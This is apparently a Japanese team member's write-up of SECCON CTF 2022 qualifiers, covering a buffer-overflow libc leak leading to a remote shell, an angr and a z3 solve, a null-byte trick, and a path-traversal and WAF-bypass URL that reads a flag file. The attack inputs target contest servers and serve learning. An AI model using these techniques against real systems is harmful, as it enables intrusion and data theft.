SECCON CTF 2022 Quals writeup
SECCON CTF 2022 Quals writeup
いつも通り yharima
で参加.今年は人が集まって5人.
結果は 915 pts で 49th でした.国内のみでは 14位で Final に届かず….つらい….
ソース
解いた時に使ったソースはこちら. github.com
[welcome] welcome
開始前に Discord の #announcement に書いてあって,これか?と思いながら入れたら通った.
SECCON{JPY's_drop_makes_it_a_good_deal_to_go_to_the_Finals}
[pwnable] koncha
とりあえずいつも通り pwn 問から.パッとみた感じ BOF があるので ROP からの libc の base addr 抜いて onegadget かなーと思ったら PIE 有りだった.
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : ENABLED RELRO : FULL
PIE 有効なのでアドレス決め打ちの ROP はできず,先にどこかのアドレスを先に leak できないと何もできない.FSB はない.
そして2回の scanf のうち2回目では BOF して制御を奪わないといけなさそうであるなら,1回目で何かしらの leak が必要.
ソースを読んでいるとなぜか1回目の scanf は "%[^\n]s"
となっている.これ改行いれたらどうなるんだ?と思い入れてみると何かあやしいものがでてきた.
Hello! What is your name? Nice to meet you, ����!
実際上で出てきたアドレスとは異なるが,自分の手元ではこれは 0x7f4e6aa4f2e8
だった.
gdb でこのアドレスを見てみるとどうやら _exit_funcs_lock
のアドレスらしい.とりあえず何かしらリークはできた.
このアドレスがどこの何なのかを i proc map
でみる.
$ i proc map process 2181875 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x7f4e6a85e000 0x7f4e6a880000 0x22000 0x0 /home/yuta1024/SECCON2022-QUAL/koncha/lib/libc.so.6 0x7f4e6a880000 0x7f4e6a9f8000 0x178000 0x22000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/libc.so.6 0x7f4e6a9f8000 0x7f4e6aa46000 0x4e000 0x19a000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/libc.so.6 0x7f4e6aa46000 0x7f4e6aa4a000 0x4000 0x1e7000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/libc.so.6 0x7f4e6aa4a000 0x7f4e6aa4c000 0x2000 0x1eb000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/libc.so.6 0x7f4e6aa4c000 0x7f4e6aa52000 0x6000 0x0 0x7f4e6aa52000 0x7f4e6aa53000 0x1000 0x0 /home/yuta1024/SECCON2022-QUAL/koncha/bin/chall 0x7f4e6aa53000 0x7f4e6aa54000 0x1000 0x1000 /home/yuta1024/SECCON2022-QUAL/koncha/bin/chall 0x7f4e6aa54000 0x7f4e6aa55000 0x1000 0x2000 /home/yuta1024/SECCON2022-QUAL/koncha/bin/chall 0x7f4e6aa55000 0x7f4e6aa56000 0x1000 0x2000 /home/yuta1024/SECCON2022-QUAL/koncha/bin/chall 0x7f4e6aa56000 0x7f4e6aa57000 0x1000 0x3000 /home/yuta1024/SECCON2022-QUAL/koncha/bin/chall 0x7f4e6aa57000 0x7f4e6aa58000 0x1000 0x0 /home/yuta1024/SECCON2022-QUAL/koncha/lib/ld-2.31.so 0x7f4e6aa58000 0x7f4e6aa7b000 0x23000 0x1000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/ld-2.31.so 0x7f4e6aa7b000 0x7f4e6aa83000 0x8000 0x24000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/ld-2.31.so 0x7f4e6aa84000 0x7f4e6aa85000 0x1000 0x2c000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/ld-2.31.so 0x7f4e6aa85000 0x7f4e6aa86000 0x1000 0x2d000 /home/yuta1024/SECCON2022-QUAL/koncha/lib/ld-2.31.so 0x7f4e6aa86000 0x7f4e6aa87000 0x1000 0x0 0x7ffd93ce6000 0x7ffd93d07000 0x21000 0x0 [stack] 0x7ffd93d85000 0x7ffd93d88000 0x3000 0x0 [vvar] 0x7ffd93d88000 0x7ffd93d89000 0x1000 0x0 [vdso] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
この状態で libc の先頭は 0x7f4e6a85e000
で _exit_funcs_lock
は 0x7f4e6aa4f2e8
で差分をとると 0x1f12e8
となる.
相対位置がわかったので,リークしたアドレスから 0x1f12e8
を引けば libc の先頭アドレスとなる.
あとは libc の中から条件を満たせそうな onegadget のオフセットを調べて libc の先頭アドレスに足し込めば仕込みは完了.
2回目の scanf を BOF させ RIP を奪って onegadget に飛ばせばシェルがあがる.
% python koncha.py [+] Opening connection to koncha.seccon.games on port 9001: Done [+] leak_data = 0x7f76aa0422e8 [+] libc_addr = 0x7f76a9e51000 [*] Switching to interactive mode $ ls -l total 24 -r-xr-x--- 1 root pwn 16992 Nov 3 07:45 chall -r--r----- 1 root pwn 56 Nov 3 07:45 flag-50d05c4f3e767dfc58f5cde347c36370.txt $ cat flag-50d05c4f3e767dfc58f5cde347c36370.txt SECCON{I_should_have_checked_the_return_value_of_scanf}
[reversing] babycmp
angr に任せようとなったので,正解表示のアドレスと失敗表示のアドレスを ghidra で抜いてくる.
長さまで解析するのめんどうだったので適当な長さにし find に 0x12cc
を avoid に 0x127d
を指定して angr を実行.
$ python3 babycmp.py WARNING | 2022-11-12 07:04:23,729 | angr.storage.memory_mixins.default_filler_mixin | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior. WARNING | 2022-11-12 07:04:23,730 | angr.storage.memory_mixins.default_filler_mixin | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by: WARNING | 2022-11-12 07:04:23,730 | angr.storage.memory_mixins.default_filler_mixin | 1) setting a value to the initial state WARNING | 2022-11-12 07:04:23,730 | angr.storage.memory_mixins.default_filler_mixin | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null WARNING | 2022-11-12 07:04:23,730 | angr.storage.memory_mixins.default_filler_mixin | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to suppress these messages. WARNING | 2022-11-12 07:04:23,731 | angr.storage.memory_mixins.default_filler_mixin | Filling memory at 0x7ffffffffff0000 with 41 unconstrained bytes referenced from 0x100028 (strlen+0x0 in extern-address space (0x28)) b'SECCON{y0u_f0und_7h3_baby_flag_YaY}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[misc] find flag
メンバーがやっていたが,フラグファイルの位置をどう特定するんだ…となって自分もみることに.
/proc
周りなどはすでに調べてくれていて,その線はなさそうなようだったのでソースを読む.
input
か open
かあたりしかなんとかなりそうなところはない. Pyhton 2 なら input に何かできるんだけどな…と思いながら open に *
とかいれれないかと思い調べてみると glob 使うしか無理そう.
しばらく悩み input に色々入れて遊んでいる時に,ふと虚無入れたらどうなるんだろうとおもって \x00
投げ込んだらフラグが降ってきた.
% perl -e 'print "\x00"' | nc find-flag.seccon.games 10042 filename: [-] something went wrong [+] congrats! SECCON{exit_1n_Pyth0n_d0es_n0t_c4ll_exit_sysc4ll}
[web] easylfi
ソースコードを読んだ感じ,以下の流れとなりそうと判断.
- path traversal を bypass して
/flag.txt
を読み出す SECCON
がレスポンスに含まれているとブロックする WAF を bypass する
web 問はログが出ていないと割とどうしようもないので,ローカルで app.py に app.logger.info()
を足して動きを観察していく.
まず path traversal だが ..
と %
が潰されているのでいきなり露頭に迷う.しばらく {name}
を置換してくれるテンプレートを動かして挙動とかを確認していたら,ふと curl のパス展開で {hello.html, hello.html}
みたいにやると2個とれるのか…?と思いつきやってみる.
% curl 'http://easylfi.seccon.games:3000/\{hello.html,hello.html\}' --_curl_--file:///app/public/hello.html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, {name}!</h1> </body> </html> --_curl_--file:///app/public/hello.html <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, {name}!</h1> </body> </html>
いけんじゃん!となる.なら ..
も {.}{.}
みたいな形でバイパスできそう,というわけでやってみる.
% curl 'http://easylfi.seccon.games:3000/\{.\}\{.\}/\{.\}\{.\}/flag.txt' Try harder%
/flag.txt
の読み出しに成功したので,あとは WAF の bypass を考える.2ファイル読み込みしてテンプレートでうまく置換できないかと思うもうまくいかない.フラグの形式は SECCON{XXX}
なので {
を }
に置き換えて,それより前に {
があれば置換させれる.でも {
をどうやって置換するんだ…と唸っていたらメンバーの一人が以下のような発言をする.
?{=}
とすると,}
を {
に置き換えれる(正解には --_curl_--file:///app/public/../../app/public/hello.html
みたいな文字が挟まるが見づらいので省略).
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, {name}!</h1> </body> </html> SECCON{XXX}
=>
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, }name}!</h1> </body> </html> SECCON}XXX}
ただ,このままでは {name}
が壊れて置換できない.なので先に {name}={' をしてから
?{=}` とすると
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, }!</h1> </body> </html> SECCON}XXX}
となり,やっぱり {
が消失してしまう.でもよく考えると ?{=}
じゃなくて ?{=}{
とやると以下のようなりやりたいことが可能となる.
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>easylfi</title> </head> <body> <h1>Hello, }{!</h1> </body> </html> SECCON}{XXX}
あとは {}
で囲まれた範囲の文字を SECCON を含まないように置換すれば良い.というわけで改行まわりで色々めんどくさかったが以下で通った.
http://easylfi.seccon.games:3000//%7B.%7D%7B.%7D/%7B.%7D%7B.%7D/%7Bapp/public/hello.html,flag.txt%7D?%7Bname%7D=%7B&%7B=%7D%7B&%7B!%3C/h1%3E%0A%3C/body%3E%0A%3C/html%3E%0A--_curl_--file:///app/public/../../flag.txt%0ASECCON%7D=SECC0N
これをブラウザで開くと
--_curl_--file:///app/public/../../app/public/hello.html Hello, }SECC0N{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}
となり,フラグは SECCON{i_lik3_fe4ture_of_copy_aS_cur1_in_br0wser}
となる(O
を 0
に置き換えてるので最後に読み替える).
[reversing] eguite
WIndows と ELF バイナリの両方あって親切.自分の Ubuntu は GUI ないので Parallels 上の Windows でひとまず動かしてみると,どうもフラグを入れて正解かを判定するみたい.
ghidra で開いてみるもでかすぎてこれはしんどいなーとなったので,ひとまず Windows 上で x64dbg にかけて動的な解析をする.
入力のチェックをしている場所をさがすのに,エラーとなる文字で検索するとそれっぽそうなところがみつかった.
適当な長さの文字列をいれているとどうやら invalid license になったので長さチェックをしていそう,ということでそのあたりを追うと以下の A8BA20
でチェックしていた.
43文字であることがわかったので適当に SECCON{AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIII}
を入れて動かしていく.
するとなんか定期的に -
とフラグ内の文字が比較されて invalid license を出すので順次 -
に入れ替えていくと SECCON{AAAABBBBCCCC-DDDEEE-FFFFGG-GHHHHIII}
というようなシリアルみたいな形式であることがわかった.
どうやら4つに分割されてそれぞれを足したりして特定の値になるかチェックしているらしい.ここまできたらアドレスがわかっているので ghidra で追ってみると以下の部分があった.
if ((byte *)((long)puVar3 + (long)puVar9) != (byte *)0x8b228bf35f6a) { return false; } if ((byte *)((long)puVar7 + (long)puVar9) != (byte *)0xe78241) { return false; } if ((byte *)((long)input + (long)puVar7) == (byte *)0xfa4c1a9f) { if ((byte *)((long)puVar3 + (long)input) == (byte *)0x8b238557f7c8) { return ((ulong)puVar7 ^ (ulong)puVar9 ^ (ulong)input) == 0xf9686f4d; } return false; } return false; }
ただ. puVar がそれぞれどの部分を指しているかいまいちわからなかったので,引き続き動かしながら当てはめていくと SECCON{8b228b0bdd29-e78241-FFFFGG-fa4c1a9f}
までたどり着いた.
ただ, FFFFGG
の部分がいままで 000000 として扱われていて最後が成立しなくなった.ghidra のコードから結局は以下を解けば良いことがわかった.
1kome + 2kome = 0x8b228bf35f6a 3kome + 2kome = 0xe78241 4kome + 3kome = 0xfa4c1a9f 1kome + 4kome = 0x8b238557f7c8 3kome ^ 2kome ^ 4kome = 0xf9686f4d
xor とか自分で解ける気せんし…となり z3 に投げる. z3 で xor とりたい場合は Int はだめで BitVec で定義しないとだめらしい.
% python3 eguite.py [c = 9242415, b = 5929746, d = 4190049136, a = 152980487201880]
それぞれ a, b, c, d がでたので 16進数に置き換えて SECCON{8b228b98e458-5a7b12-8d072f-f9bf1370}
を入れてみると通った.なんかとても遠回りをした気がした….
まとめ
今回自分は結構頑張った気がします.スプラ3のフェスは犠牲になったのだ…. 暗号はマジでわからんので,メンバーに完全に任せていました.
正直 pwn はもうちょい解けないとだめだし,解けた問題に関しても時間をかけすぎている気がするという反省点が多かったです. メンバーからのヒントとかで解けた問題もあったところは良かった.逆に他メンバーのフォローできなかったところはだめだった.
結果はほんとに悔しい.しばらくオンサイト決勝がなくて久々だったので国内決勝に行きたかった…. :cry: